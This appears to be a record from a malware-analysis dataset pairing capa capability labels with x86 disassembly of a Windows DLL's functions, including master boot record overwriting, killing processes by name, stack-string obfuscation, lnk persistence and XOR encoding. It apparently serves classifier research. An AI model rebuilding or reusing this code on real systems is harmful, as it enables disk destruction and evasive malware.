joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009080
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.1000da80
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10009480
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0xa2c
mov eax, 0x65
push ebx
push ebp
mov word [esp + 0x12], ax
mov word [esp + 0x18], ax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [esp + 0x14]
push edi
mov ebx, 0x6c
push eax
mov word [esp + 0x1c], 0x6b
mov word [esp + 0x20], 0x72
mov word [esp + 0x22], 0x6e
mov word [esp + 0x26], bx
mov word [esp + 0x28], 0x33
mov word [esp + 0x2a], 0x32
mov word [esp + 0x2c], 0x2e
mov word [esp + 0x2e], 0x64
mov word [esp + 0x30], bx
mov word [esp + 0x32], bx
mov word [esp + 0x34], 0
call esi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
mov ebp, eax
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], 0x65
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
push 0x100015b0
lea eax, [esp + 0x240]
push 0x100015a4
push eax
call dword [fcn.100042fc]
add esp, 0xc
lea ecx, [esp + 0x34]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea edx, [esp + 0x3c]
push 0
push edx
push 1
lea eax, [esp + 0x250]
push 0x10001588
push eax
push 0x80000002
call fcn.1000db80
push 3
push 0
push 0
push 1
lea ecx, [esp + 0x26c]
push 0x10001588
push ecx
push 0x80000002
call fcn.1000e020
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 0x3c
xor esi, esi
push 0x32
call ebx
lea edx, [esp + 0x34]
push edx
call edi
test eax, eax
jne 0x100095be
inc esi
cmp esi, 0x1f4
jl 0x100095a6
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa2c
ret
Function at 0x10009630
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x20c
mov ecx, dword [esp + 0x210]
push esi
push edi
lea eax, [esp + 0xc]
push 0x208
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10009684
pop edi
xor eax, eax
pop esi
add esp, 0x20c
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x21c]
push 0
push 0x400
push ecx
push edi
call fcn.100095d0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100096ef
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x20c
ret
add eax, edi
pop edi
pop esi
add esp, 0x20c
ret

Function at 0x10009de0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_wcsrchr]
mov esi, eax
add esp, 8
add esi, 2
jne 0x10009e04
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.10012ac0
add esp, 8
test al, al
jne 0x10009e18
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x10001e58
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], 0x10001490
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
pop edi
pop esi
setne al
add esp, 0x54
ret
Function at 0x10009e70
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x264
push ebx
mov ebx, dword [esp + 0x26c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push ebx
call esi
test eax, eax
je 0x10009f63
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x68]
mov dword [esp + 0x10], 0x208
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push eax
push 0xf003f
push 0
push 0x10001e68
push 0x80000000
call dword [fcn.100041dc]
test eax, eax
jne 0x10009f63
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push eax
mov eax, dword [esp + 0x18]
push eax
call dword [fcn.100041e0]
mov ecx, dword [esp + 0xc]
push ecx
call dword [fcn.100041e4]
lea edx, [esp + 0x68]
push edx
call esi
test eax, eax
je 0x10009f63
lea eax, [esp + 0x68]
push 0x100014b4
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 8
test eax, eax
je 0x10009f63
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x278]
mov dword [esp + 0x24], 0x44
test eax, eax
je 0x10009f3d
mov dword [esp + 0x2c], 0x10001490
lea ecx, [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x84]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x264
ret
Function at 0x1000a470
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
push 0x1001c534
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x1001c750]
push 0x1001c534
inc eax
mov dword [0x1001c750], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ebp, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push ebp
mov dword [esp + 0x1c], edi
call fcn.1000a340
add esp, 8
cmp eax, edi
je 0x1000a61a
cmp eax, 1
je 0x1000a557
cmp eax, 2
je 0x1000a557
cmp eax, 3
je 0x1000a557
cmp eax, 4
jne 0x1000a5d3
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, ebp
push ecx
push eax
call fcn.1000a2b0
mov esi, dword [esp + 0x130]
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [esi + 4]
push eax
push ecx
call fcn.1000ab10
add esp, 0x1c
test eax, eax
je 0x1000a61a
push edi
mov edi, 0x10001650
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi]
not ecx
push ecx
push 0x10001650
push edx
call dword [fcn.100043a0]
jmp 0x1000a5da
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov eax, dword [esp + 0x124]
push edi
push esi
push ebp
push eax
call fcn.1000a3e0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x1000a61a
lea ecx, [esp + 0x10]
sub esi, edi
lea edx, [esp + 0x1c]
push ecx
sub esi, 7
push edx
lea eax, [edi + ebp + 7]
push esi
push eax
call fcn.1000a2b0
mov ecx, dword [esp + 0x130]
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea esi, [ecx + 4]
push eax
push esi
call fcn.1000ab10
add esp, 0x1c
test eax, eax
je 0x1000a61a
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebx
push ecx
push edx
call dword [fcn.100043a0]
cmp eax, 0xffffffff
je 0x1000a61a
mov esi, dword [esp + 0x120]
cmp dword [esi], 0
je 0x1000a61a
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a61a
lea eax, [esp + 0x18]
push eax
push 0
push esi
push 0x1000b520
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000a60a
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x1000c440
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1e]
mov word [esp + 0x1c], bp
push ebp
rep stosd dword es:[edi], eax
push 2
mov dword [esp + 0x18], ebp
stosw word es:[edi], ax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
push 0x22c
mov dword [esp + 0x18], edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1000c5d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000c5d8
mov eax, dword [esi + 8]
push eax
push ebp
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov eax, dword [esi + 8]
cmp eax, ebp
je 0x1000c500
cmp eax, 4
je 0x1000c500
cmp eax, 8
je 0x1000c500
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
push ecx
push 4
push edx
push ebx
call fcn.10019f72
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push 0x208
push eax
push ecx
push ebx
call fcn.10019f60
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 0x228]
mov ebp, dword [sym.imp.MSVCRT.dll__wcsupr]
push edx
call ebp
mov ebx, eax
lea eax, [esp + 0x20]
push eax
call ebp
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
jbe 0x1000c538
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x214
ret
push esi
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x1000c5d8
mov ecx, dword [esi + 8]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov eax, dword [esi + 8]
test eax, eax
je 0x1000c59f
cmp eax, 4
je 0x1000c59f
cmp eax, 8
je 0x1000c59f
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push 4
push eax
push ebx
call fcn.10019f72
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push 0x208
push ecx
push edx
push ebx
call fcn.10019f60
mov eax, dword [esp + 0x228]
push eax
call ebp
lea ecx, [esp + 0x20]
mov edi, eax
push ecx
call ebp
push edi
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
ja 0x1000c528
mov edx, dword [esp + 0x14]
push esi
push edx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1000c547
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x214
ret
Function at 0x1000c5f0
Capabilities:
Acquire debug privileges
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
push 0x22c
mov dword [esp + 0x14], esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
push edi
push esi
mov dword [edi], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1000c6a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000c6a1
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.MSVCRT.dll__wcsupr]
push eax
call esi
lea ebp, [edi + 0x24]
mov ebx, eax
push ebp
call esi
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
jbe 0x1000c668
push 1
push 0x100024ec
call fcn.1000c3b0
mov ecx, dword [edi + 8]
add esp, 8
push ecx
jmp 0x1000c6bc
mov edx, dword [esp + 0x10]
push edi
push edx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x1000c6a1
mov eax, dword [esp + 0x18]
push eax
call esi
push ebp
mov ebx, eax
call esi
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
ja 0x1000c6a9
mov ecx, dword [esp + 0x10]
push edi
push ecx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1000c677
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
push 1
push 0x100024ec
call fcn.1000c3b0
mov edx, dword [edi + 8]
add esp, 8
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x100024ec
call fcn.1000c3b0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000c920
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
sub esp, 0x30c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
mov byte [esp + 0x118], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x119]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push 0x104
push eax
push 0
call ebp
mov ecx, 0xc
mov esi, 0x10001ae8
lea edi, [esp + 0x118]
push 0x104
rep movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x322], 0x55
mov byte [esp + 0x323], 0xaa
call edi
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0x10002510
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000c9d4
pop edi
pop esi
or eax, eax
pop ebp
add esp, 0x30c
ret
push ebx
lea eax, [esp + 0x18]
push 0x104
push eax
push 0
call ebp
lea ecx, [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call ebx
lea edx, [esp + 0x18]
push 0x104
lea eax, [esp + 0x1c]
push edx
push eax
call edi
lea ecx, [esp + 0x14]
push 0
push ecx
lea edx, [esp + 0x124]
push 0x200
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x18]
push 0x104
push eax
push 0
call ebp
lea ecx, [esp + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call ebx
lea edx, [esp + 0x18]
push 0x104
lea eax, [esp + 0x1c]
push edx
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push 0
call ebp
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x30c
ret
Function at 0x1000d6c0
Capabilities:
Contain obfuscated stackstrings
Delete file
Get common file path
Move file
Persist via lnk shortcut

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [0x1001e86c]
mov ebx, 0x65
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, 0x6c
mov word [esp + 0x2e], ax
mov word [esp + 0x38], ax
mov word [esp + 0x3a], ax
lea eax, [esp + 0x24]
push eax
mov word [esp + 0x28], 0x6b
mov word [esp + 0x2a], bx
mov word [esp + 0x2c], 0x72
mov word [esp + 0x2e], 0x6e
mov word [esp + 0x30], bx
mov word [esp + 0x34], 0x33
mov word [esp + 0x36], 0x32
mov word [esp + 0x38], 0x2e
mov word [esp + 0x3a], 0x64
mov word [esp + 0x40], 0
call edi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x24]
push ecx
push edx
mov ebp, eax
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0x4d
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x75
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x4e
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x41
mov byte [esp + 0x29], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x40]
push 0x104
push ecx
push esi
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 4
lea edx, [esp + 0x44]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
sub esp, 0x410
push ebx
push esi
push edi
lea eax, [esp + 0x214]
push 0x208
push eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x10002458
lea ecx, [esp + 0x218]
push 0x100015a4
push ecx
call dword [fcn.100042fc]
mov edx, dword [0x1001e868]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x214]
push eax
call ebx
lea edi, [esi + 0x10]
push edi
call fcn.1000d5a0
push edi
call fcn.1000d5f0
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x16]
mov word [esp + 0x14], 0
rep stosd dword es:[edi], eax
add esp, 8
lea ecx, [esp + 0xc]
stosw word es:[edi], ax
push ecx
push 0
push 0
push 0x18
push 0
call dword [fcn.1000423c]
lea edx, [esp + 0xc]
push 0x10002624
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0xc]
push eax
call ebx
add esi, 0x210
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
pop edi
pop esi
pop ebx
add esp, 0x410
jmp 0x1000d470
Function at 0x1000d940
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x20c
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x208
push eax
mov ebp, ecx
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 0x10]
push 0x10002458
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000d9e3
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + edi]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x10]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, edi
xor eax, eax
shr ecx, 1
je 0x1000d9ce
xor word [esi + eax*2], 0x60
inc eax
cmp eax, ecx
jb 0x1000d9c4
push edi
push esi
mov ecx, ebp
call fcn.1000d8e0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x1000f170
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x1000f320
cmp dword [esi + 0x1c], edi
je 0x1000f320
call fcn.1000f730
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.1000f570
lea eax, [esp + 0x10]
push eax
call dword [0x1000426c]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.1000f570
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [0x10004270]
test eax, eax
je 0x1000f203
cmp dword [esp + 0x1c], 1
jne 0x1000f203
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x1000f1f3
inc edi
add eax, 4
cmp edi, 0x10
jl 0x1000f1e6
push ecx
call dword [0x100042bc]
cmp edi, 0x10
je 0x1000f203
mov eax, edi
jmp 0x1000f206
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.1000f570
cmp byte [ebx], 2
jne 0x1000f26e
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000f770
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.1000f7d0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov ecx, dword [esp + 0x14]
xor edx, edx
lea eax, [ecx - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x1001e878]
cmp ecx, eax
mov edi, edx
je 0x1000f29b
push edi
mov ecx, esi
call fcn.1000f330
test al, al
je 0x1000f29b
add edi, 0x13
jmp 0x1000f29e
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x1000f2bc
push edi
mov ecx, esi
call fcn.1000f330
test al, al
je 0x1000f2b2
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x1000f2a3
mov eax, dword [esp + 0x14]
mov ecx, 0x13
mov dword [0x1001e878], eax
mov eax, dword [esi + 0x30]
add eax, 3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
cdq
idiv ecx
lea edi, [esi + 0x14]
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebp], edx
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x1000f301
nop
nop
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x1000f2f2
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4
Function at 0x1000fb00
Capabilities:
Terminate process
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x1001a628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x100044b4
push 0x10002750
push 0x10002740
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, eax
mov eax, dword [esi + 0x28]
push 0
push eax
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x1000fb8f
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000fb99
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000fba3
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000fbad
push eax
call edi
mov edx, dword [esi + 0x10]
push edx
call ebx
mov eax, dword [esi + 0x14]
push eax
call ebx
mov ecx, dword [esi + 0x18]
push ecx
call ebx
mov edx, dword [esi + 0x1c]
push edx
call ebx
mov eax, dword [esi + 0x20]
push eax
call ebx
mov ecx, dword [esi + 0x24]
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push edx
call ebx
mov eax, dword [esi + 0x28]
push eax
call ebx
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.1000da50
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x1000feb0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.1000fd40
add esp, 8
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
xor ecx, ecx
test edx, edx
jle 0x1000ff01
push ebx
add byte [ecx + eax], 0x7a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov bl, byte [ecx + eax]
xor bl, 0x19
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edx
jl 0x1000fee3
pop ebx
pop ecx
ret